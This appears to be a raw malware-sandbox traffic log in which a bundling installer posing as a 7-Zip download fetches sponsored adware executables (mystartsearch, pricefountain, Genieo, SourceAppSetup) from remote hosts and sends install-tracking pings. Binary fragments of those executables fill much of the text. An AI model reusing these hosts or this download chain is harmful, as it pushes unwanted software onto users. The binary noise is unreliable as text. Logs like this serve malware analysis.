........... .)..2....e..<.J.i."....c..oZ...TE..j...........H..,8W.c
..ST.zz.M.;-Pk5z...y..r.W~.;(F7,........w5...Ef...9Eo..[.Q...\.....9..
f6...j.mq*pRc..Z*.R..IW...j4Y.D ...T...Sn_.0.tY[/g./]ehAw..@<W.....
.0QO\Cj(.C.-.......*..5|.-.0..$.V..pX...T........HA.....}..........}.;
. ....LPV.X..0W..H.........z..F(.o.:........Fd.'C..= . ..e.....%Z.t...
.t.Bz.?...s.....L...ds....[....dr.....E(.z)vD17...d...m... ..........m
s..g...8V._x.X..D..g.WQ&....$...}o.Q5u..#6.. .`.......~..%.ir.W....zoY
I1b.......t`.2t.U.~5....t.......jd..rv.O..........s.o.}....A....9..o%.
..j.....R.LQ[.9qY1d?..?n.F.........*F}.b-.P`....y.6.=n...Kge}onq..u%.O
|.X>..."]..%H.;[email protected].. ........^...*.--....^n3.....2A....
...,..Wg./.........p>....ci.........w..2.g...6^:.`..b... .'r.......
.........D....RH..[.`i..1*.rs....O..BG5...)nU..tX...r..CZ..V=)@.4r..)v
:./M$..5...'4....Bey.0Y..*..#7...q.../.#N.@....__......<85d$.z.%G..
.(....-.d...I.........g....S:..&...2.....t..........h.c.......ty.G. .T
.k.>R....C...S.K.S.....,3LZe......a..#&SH.Q.R......4P......0}IC.h)N
.7..G....G1..........<..!.....=.I......S...tE.d.d.Y.......qf@I=nB..
......V...'...z.]y./.......ng..VY...y.|......2.J..'.^.z....W..d...<<< skipped >>>

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=407808-

User-Agent: Better Installer(Mozilla)

Host: d2lci0er4bmjg2.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1223424

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:12:14 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 407808-1631231/1631232

Age: 1

X-Cache: Hit from cloudfront

Via: 1.1 b274d1d9cbf8e572c32879f40e27c373.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 7twTahSVBnWEoA3QOfHoo7mtEY7cFnEjVR9tzVgXAIThX9otSAnGJg==
..E..}...P.u. .VWj.h......\.G.......M....E.3......J.;.......L.0.E..].;
E.t.P..,..Y...t......n....}..ty.u.... .........G;.sUj..E....._...f;E.t
3f;.t.f...........B.;.s.j....Xf9.t.j.XP_f.....;.r....E......J..L....E.
.. .....d.....t..M.j.Zf9..U.u.....$..D...E.....8.E..M.;..._...j.Y.E...
.......f;E...&...f;.t.f...'.E....;.s(j.Zf9W..U.u.j.X...f.......f......
.......j..E.Pj..E.P.....J.....4...$.G...u...`.G..........}.........U..
....J..D..HtRj.Xj.f9E.u.f......3Xf.......J..E..D.......J..E..D.%.....J
.j.Y....L.&j.Y;}........l;u.u.j.Xf9E.u.f.......j.j.j..u..o....U....j.X
f9E.t.j.Yf........U.j.Yf............J..D...@u....D....f..f......E... .
.......`.G.j.^;.u..................0.......m......3......3.........8..
................._^[..jdh..H......j..A...Y3..].j@j _W.R...YY...M...u.j
..E.PhX.I.............U......J..=..J......;.s1f.A.......Y..a$..A$$..A$
f.A%[email protected]..\.G.f.}....)....E............M.....E...
.E......;.|....M.3.F.u.9...J.} [email protected]....}..E
..U.;........2...tX...tS....tM..u.V....G..U...t8..............4...J..u
......E....F.h.....F.P....G..F..U..M.G.}[email protected]..=..J..
....J......;.s$f.A.......Y..a$.f.A%[email protected].......].....
...........5..J..u..>.t..>.t...F....F.......F....u.j.X...C......
..P....G......tE..tAW....G...t6.>%[email protected].
....F.P....G..F.."[email protected][email protected].<....E.......
...3.......j......Y.U..W.}...u.............I.........G..........@.....
...t... .G..........G......u.W.*<..Y...G....w..w.W.9...YP.K....<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=77080-154160

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:52:15 GMT

Content-Type: application/octet-stream

Content-Length: 77081

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:52:15 GMT

Cache-Control: max-age=259200

Content-Range: bytes 77080-154160/308320
...j.V.E..E.......YY..u.......>csm.u .~..u%.~. ...t..~.!...t..~."..
.u.9^.u...........9.....tl............E.......u.......V.....YY..uD.}.9
..........][email protected].;.|.......E..E....E..&g
t;csm........~.........~. ...t..~.!...t..~.".....f...9_........E.P.E.P
.u..u W......M....;M........P..E..U..Z..]..].9B.......;B........:.}..z
..}....}[email protected]....#.v...PQ.E..S........u*.E..U..M.H....E..
U......E.H....E..M......'.u..E...u$.u .u..u..u.W.u..u.SV.......,.U..E.
.M.A....M..U.;M...<...3..}..t.j.V.....YY.}..uy..%....=!...rk....te.
w.V.....YY..uV...........................}$..M.......Vuz.u..x.E.9_.v.8
].u1.u$.u .u.W.u.P.u.V.s..... .`...9.....t......_^[.......j.V.....YY.E
.P.M..E...A..S...ht.B..E.P.E...A.......u$.....j.W.u..u..2.......w..^..
..U..QQW.}..?..........SV.............].tHj.....A........9.....t1.?MOC
.t).?RCC.t!.u$.u S.u..u..u.W.................{..u.......E.P.E.P.u..u S
......M..U....;.sy.p..E.;F.|c;F..^...~.....|....t..V..\...U..{...].u8.
~.......}...@u(j..u$.N..u Qj.PS.u..u..u.W......U..M...,.E.A....M.;.r.^
[_..U..QQSV.u.W..tl3...9.~]...]..E..@[email protected]...~5.E..p..F..2..P
.}....M......u..E..U.H....E..U.........G....M.;>|._^..[............
.U...M..U...V.q.....x..I...........^].j.h..B.......U..M.......t......y
..z..e...u.VRQ.].S.W......Ht.Hu4j..F.P.s......YYP.v.W.F......F.P.s..s.
..YYP.v.W.,....E......}[email protected]
...X....H...u.........E......}...x.......].j....tB.u..v..z(..YY.......
.j.W.h(..YY.........N....E....PQ.....YY........u..E..p....tN.0(..Y<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:53:18 GMT

Content-Type: application/octet-stream

Content-Length: 308320

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:53:18 GMT

Cache-Control: max-age=259200

Content-Range: bytes 0-308319/308320
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........}`e^..6^..6
^..6...6N..6...6'..6...6p..6Wd.6S..6^..6...68..6U..68..6_..6^..6_..68.
.6_..6Rich^..6........................PE..L.....~T.................z..
......................@.................................._....@.......
......................................0...............`.......`...0...
8...............................@.....................................
.......text....y.......z.................. ..`.rdata..j............~..
............@[email protected][email protected].....
.......>..............@[email protected][email protected].
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U...E...u...]...PRQ....
....]....U...E...u...]...PRQ........]....U...E..V......A.t.V..........
^].................U...E..U....H.].................U........U..u.R.P..
U..H.;J.u...;.u.....]...2...]................U...E.;H.u...;E.u...]...2
.]........A............U..QV.u..E...........u.........A..E..F......F..
.......:.u.3.QR.........^..].....W.y...A..u. ._QR...y.....^..]......A.
...........U..Q.E.V.u..E........u(j..F......F.....h..A.......*.....^..
]...PV.:.....^..].....(.A............U..QV.u..E......Y....u.......<<< skipped >>>

GET /r/__utm.gif?utmwv=5.6.1&utms=1&utmn=1625824679&utmhn=installer.filebulldog.com&utmhid=1815055538&utmr=-&utmp=Installer_Init&utmht=1420692777575&utmac=UA-31676879-1&utmcc=__utma=1.260128705.1420692778.1420692778.1420692778.1;+__utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=1575299846&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/ef016749e4b3b84c8b6f3946b9bc2c0d?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Date: Thu, 08 Jan 2015 04:53:17 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, no-store, must-revalidate

Last-Modified: Sun, 17 May 1998 03:00:00 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Server: Golfe2

Content-Length: 35

Alternate-Protocol: 80:quic,p=0.02

GIF89a.............,...........D..;HTTP/1.1 200 OK..Access-Control-All
ow-Origin: *..Date: Thu, 08 Jan 2015 04:53:17 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..Last-Modified: Sun, 17 May 1998 03:00:00 GMT..X-C
ontent-Type-Options: nosniff..Content-Type: image/gif..Server: Golfe2.
.Content-Length: 35..Alternate-Protocol: 80:quic,p=0.02..GIF89a.......
......,...........D..;..

GET / HTTP/1.1

Range: bytes=149328-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily

Date: Thu, 08 Jan 2015 04:57:24 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d944cb781b8eac360643f2c654396692c1420693044; expires=Fri, 08-Jan-16 04:57:24 GMT; path=/; domain=.settleship.org; HttpOnly

X-Powered-By: PHP/5.4.19

location: tmps.exe

Server: cloudflare-nginx

CF-RAY: 1a55d065c5650f7b-FRA

0......

GET /tmps.exe HTTP/1.1

Range: bytes=149328-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:57:24 GMT

Content-Type: application/octet-stream

Content-Length: 49776

Connection: keep-alive

Set-Cookie: __cfduid=d944cb781b8eac360643f2c654396692c1420693044; expires=Fri, 08-Jan-16 04:57:24 GMT; path=/; domain=.settleship.org; HttpOnly

Last-Modified: Tue, 06 Jan 2015 18:40:02 GMT

Content-Range: bytes 149328-199103/199104

Server: cloudflare-nginx

CF-RAY: 1a55d06625680f7b-FRA

......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................

<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=364665-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Fri, 09 Jan 2015 04:52:17 GMT

Date: Thu, 08 Jan 2015 04:52:17 GMT

Content-Range: bytes 364665-583463/583464

Content-Length: 218799

Connection: keep-alive
..Gy#{M.H.:..S4.x.F...%l.........8...".....:6.,.. ........)o}....v.W..
e3h|.......I.*"........j....Rm.`.>A.......3.M)....:..&;6..a..L.....
..I..Y.....&.-U[.5.....t:w...5W..j.]bS.^...)..3`.......QK....1....8...
A..V.].%..Aqu.Y.n6.|xJ...*...O .Hi.!..b-.j......X.G.X..b.K5.._....}..~
.'.....#..x6@..'J...x}.A....T^.y.....f. ...e1h.]..A...1..2..K....t.`.m
N..|..J.3.k..s......6.`.`3.]#^........!.6..-...g..W<..CT()K......._
FR..MtGd{..eT.#o..*4PKQ.Sb.n./q.cQ>.).o1..V-.jg..\/..h.}x....m..I..
..o^~.TMk..p..)8..... .....\/.kM....Z7.."..d"..P....].. ........K..u..
:.....v.d........*..Zyr..:..vA@.{Ru.g......v.....:L..F..17..!e*i.d.b.?
<B9B\O.....U.#..^s..c/u......._k......%...%...B{".....<......''.
.'...?...N.....erW.`.........2.(U.e....9(.{,.\.....a^e.C`X....*...6.%x
.HF...z.i..F}?.3......rr\.....A..}.[..%..H.b...14..M..3...ljTG.9.1....
[email protected]...,...............(..
x......t)g..%.Fm.& ......U.:.........=..l4.......6........=f/.o...k. b
Y..YL....$a8.".....));._...J.......'H'~.....x.[4..i.>Lwe=Tx.V...K..
.....6...lK..O..!.W.w...q..$31m.....z@<y-<.........&...N..s\4h.3
.R..Y........F....Ze.KKv..........N..*1|K.\l.>..........I..........
0k.U..q..!=.\...O.......N.gK..C.IPw.}E...2..4r...,kJ... .B.]c.."....q.
'.P.*[email protected]..&.X}...(.!.......T....tK..gc.0.a.<.J.....6c
.)\.........b...o.'..A..k'.....M....?.!m..Y65........w..-.......=.CO.`
...RR..w.=.9G..{8]..j..MXJ<..OU....|...'......m,..e..o:............
..)".....V.......*....e..: ........i..iz|.U..8 U...f...,.&...V...C<<< skipped >>>

GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=1&index_in_screen=1&index_in_session=1&0.3364320762517639 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/ef016749e4b3b84c8b6f3946b9bc2c0d?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.260128705.1420692778.1420692778.1420692778.1; __utmb=1.2.10.1420692778; __utmc=1; __utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:55:04 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:55:04 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=1&index_in_screen=1&index_in_session=1&0.8352342003179938 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/ef016749e4b3b84c8b6f3946b9bc2c0d?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.260128705.1420692778.1420692778.1420692778.1; __utmb=1.2.10.1420692778; __utmc=1; __utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:55:04 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:55:04 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=pricefountain&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=2&index_in_screen=1&index_in_session=2&0.9704049455779596 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/ef016749e4b3b84c8b6f3946b9bc2c0d?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.260128705.1420692778.1420692778.1420692778.1; __utmb=1.3.10.1420692778; __utmc=1; __utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:55:05 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:55:05 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /googleanalytics.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=0gkn1yumieq3soyth43bzeq3


HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Encoding: gzip

Last-Modified: Tue, 10 Jun 2014 08:53:03 GMT

Accept-Ranges: bytes

ETag: "804165638984cf1:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:54:21 GMT

Content-Length: 488
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"........4.......~Q......I...C|.
?..u3..........i.^......:...yp...................E~Y.W..m....i[T..b...
....e..._\|.........Yy......O......V.......................9.E?.3....A
!./..|.6w~...,?...2.J.fm.u.0...O...8-s4.....qA_\..~.<.~.]...9}.....
f...^N?....z....b..jj.....b..u.$?..|...._rg..X......2V...i]......{uu5.
..ogf..i.......Z^d.../......\.....]O.l:.......4~7M.n./gh.2............
.HTTP/1.1 200 OK..Content-Type: application/x-javascript..Content-Enco
ding: gzip..Last-Modified: Tue, 10 Jun 2014 08:53:03 GMT..Accept-Range
s: bytes..ETag: "804165638984cf1:0"..Vary: Accept-Encoding..Server: Mi
crosoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Thu, 08 Jan 2015 04:54:2
1 GMT..Content-Length: 488...............`.I.%&/m.{.J.J..t...`.$..@...
......iG#).*..eVe]f.@......{....{....;.N'...?\fd.l..J...!....?~|.?"...
.....4.......~Q......I...C|.?..u3..........i.^......:...yp............
.......E~Y.W..m....i[T..b.......e..._\|.........Yy......O......V......
.................9.E?.3....A!./..|.6w~...,?...2.J.fm.u.0...O...8-s4...
..qA_\..~.<.~.]...9}.....f...^N?....z....b..jj.....b..u.$?..|...._r
g..X......2V...i]......{uu5...ogf..i.......Z^d.../......\.....]O.l:...
....4~7M.n./gh.2...............<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=617755-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: ThcAY5 soqcANJIQxQpV532JqQ2nZMzp36Ffc 6tELFg87kF8P7TKT25DZ 5/7bU

x-amz-request-id: 14B1D9F111777173

Date: Thu, 08 Jan 2015 04:57:30 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 617755-988407/988408

Content-Type: application/octet-stream

Content-Length: 370653

Server: AmazonS3
...m$......"4C..HA.e...P.V.9J.2.E...."X..!X...>.U.oL{$.!.......5..h
.9\...Ua.M.%....... .5.}[email protected].'...'..My.......3i.........e..SPNO.ka
..R...f...5Mm..............c....W..%z`..U........D.h]...\q.....vyr..2.
.$.[.8M..6...=.*..g...J. N-k....w........G....s......6.3?>...).>
D..J.^.c/.N....u.6.....s...{....L..n......:........'...,...^..mg...BO.
>..}H#..N.'.F...%.....p..#....t...zV.,.\9.......D...B...B.:.[.IYZ..
.c..^K..[(d....H.......FwD.......z..L....-.i(.......I.....x.*..s[.....
b.H0DR..<"......d..w.{..v%e.8n......6t..P..>VK.e...4...B(7...>
;.a....K..A...Z.%.x."...:O...!...".p`......t.....q..Z...".....t...s;."
.[h.#z..ZG....&A.(.....@..........}...?g..u(.M..[.dD..h.7C4HS......I.-
....'.....|O......X[.....2"6.lR..(......m_....f...........u...n....Y..
i.9.......5..5..<7 ...0.c...|.i..zHh8..B'.........B.~1..;....A.T.H.
.FT.....8.9L..i`,..t.!C...B.<..lQ..W...F[....|T\..o.f...e.....H.o..
..9U....p.ReW.z.wJ.....A.!.#.../0.......E..v...X.M.(.:p[...b9.{#N.....
0...%6..AsI....'.........9.H%}6.0..'.;..R5.........4.j.Vw..g..N$...q..
..........s.}.)........\.2..^P..f....UA.bQK...o.~B..D...F...W.....)L..
./.wL]>[email protected]^.x......&G.Z........G..2.WuO......&.....T.W..
.)(..D.e.........C .Bl.U{...hC..ml0.......x......3...............h|...
.d.0`3.6$l.)Q...e.....BPo|-..@..<,K.0t.....2g.o./4..(.q$.M..M..X(J}
..F.Y.%Z..9.'.n...WR.V.V..I:.S`..uA.(h9FN.c..X.........4..........kD..
....>7.6%..n..`.v..R..w.u:.n.......u5f.!K*....6:...tK..n...k.%...AJ
.".../..}p.g...3.2.m.[..6....g..F...C......G_..B]*..i.<PX./gMI.<<< skipped >>>

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=1223424-

User-Agent: Better Installer(Mozilla)

Host: d2lci0er4bmjg2.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 407808

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:12:14 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 1223424-1631231/1631232

Age: 1

X-Cache: Hit from cloudfront

Via: 1.1 161fdcd8b4be71364ff5e2c537400f09.cloudfront.net (CloudFront)

X-Amz-Cf-Id: fiUkUI-7ojhs7e6dYYkph0LP1Hl1UGrfAVPpIDE1IdeEY-Vet3M1vQ==
.............~....&...]_^[..SVWUQ..$..3..E..X.K..|Ã..E..........$R..
...l)A..Z.....GKu...Z]_^[.SVWUQ..$..3..E..X.K..|Ã..E.........x..t...
$.F.......u.FKu...Z]_^[.U........3.......3.Uh.0A.d.0d. .......E..@....
.........E..E...E.Pj........ 0F...=.............A...t...F...3.ZYYd..h.
0A......................]...U.....SVW.M..U..E..U..E.......E..}..u.U.D.
..Y.U..E.......E..@[email protected]..|[email protected][email protected]........;}.tR.G..X.K...
|F.G...........U..........t&...E..R...;[email protected]...
u..E..M.u._^[..].....P.'?.....S...........t...._...[..SVWUQ......$..G.
.X.K..|.C3..G.................u.FKu...$...$Z]_^[[email protected]..|
.C3..G.........@..........}.FKu......l)A..x......G..B...]_^[.....P.w?.
....SVW.....F..X.K...|....F..o......x...K...u._^[...U.....SVW..t......
....M..U..E.3..E..X........A..L....U..B...IF......3.Uh.2A.d.0d. .}..u.
..IF..@ [email protected]..|[email protected]..@....
^...GNu..}..t;[email protected]..| F3...IF..@...........{[email protected]
Nu.3.ZYYd..h.2A...IF........(......E..}[email protected]._^[..]...
..SV.1........F..q...........U.....~........^[[email protected]..
.IF......3.Uh.3A.d.2d.".G..X.K..|)C3..G.........U..A....E..}..t..[....
#FKu.3.ZYYd..h.3A...IF........T......E._^[YY][email protected][email protected].
..3.Uh.4A.d.0d. .]..E...E.Pj..U.../F...8...M......A...p...*...3.ZYYd..
h#4A..E..............[..].U..QS....IF......3.Uhn4A.d.0d. ....IF.......
E.3.ZYYd..hu4A...IF..#............E.[Y].SV.............u.........R.FKu
._^[..SV.%4...............4...................4.........S.J.......<<< skipped >>>

GET /__utm.gif?utmwv=5.6.1&utms=8&utmn=1155979209&utmhn=installer.filebulldog.com&utmhid=1850010787&utmr=-&utmp=Installer_Init&utmht=1420693023531&utmac=UA-31676879-1&utmcc=__utma=1.260128705.1420692778.1420692778.1420692778.1;+__utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/8bcb66b22b13e545b4025cefa77c7e57?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Pragma: no-cache

Expires: Wed, 19 Apr 2000 11:43:00 GMT

Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Date: Mon, 05 Jan 2015 21:27:22 GMT

Server: Golfe2

Content-Length: 35

Age: 199801

Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate

Alternate-Protocol: 80:quic,p=0.002
GIF89a.............,...........D..;..

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEGwkCSV07gf3g5QOsqmf+MY= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1790

content-transfer-encoding: binary

Cache-Control: max-age=591300, public, no-transform, must-revalidate

Last-Modified: Thu, 8 Jan 2015 01:10:26 GMT

Expires: Thu, 15 Jan 2015 01:10:26 GMT

Date: Thu, 08 Jan 2015 04:57:09 GMT

Connection: keep-alive
0..........0..... .....0......0...0........6?s....V....OlL".O..2015010
8011026Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
.l$.%t...............20150108011026Z....20150115011026Z0...*.H........
......Y].M.0........./.-Z.=pj2........b....}-..6.|.^.q...a...`v.%.....
m1#..E.....Y..D.6.?G.\...(4..9..T-...VIv.E..v...E.~.w.N.....S.O...I[..
n...0gd...E......A........W.imb.`>fJ,.P...T..A..;..x.ax.Db...r.].{.
...PLp.N.,..nOebct.....7G7iX..>...L...*...lcb....]..8....#0...0...0
..........<o&S.-S..}...e.30...*.H........0..1.0...U....US1.0...U...
.VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of us
e at hXXps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class 3 Cod
e Signing 2009-2 CA0...141205000000Z..150305235959Z0..1.0...U....US1.0
...U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Term
s of use at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3VeriSign C
lass 3 Code Signing 2009-2 OCSP Responder0.."0...*.H.............0....
.....{(..t....2.Vf.....&;6).i*[email protected]._p.E.6.|.mk....(.
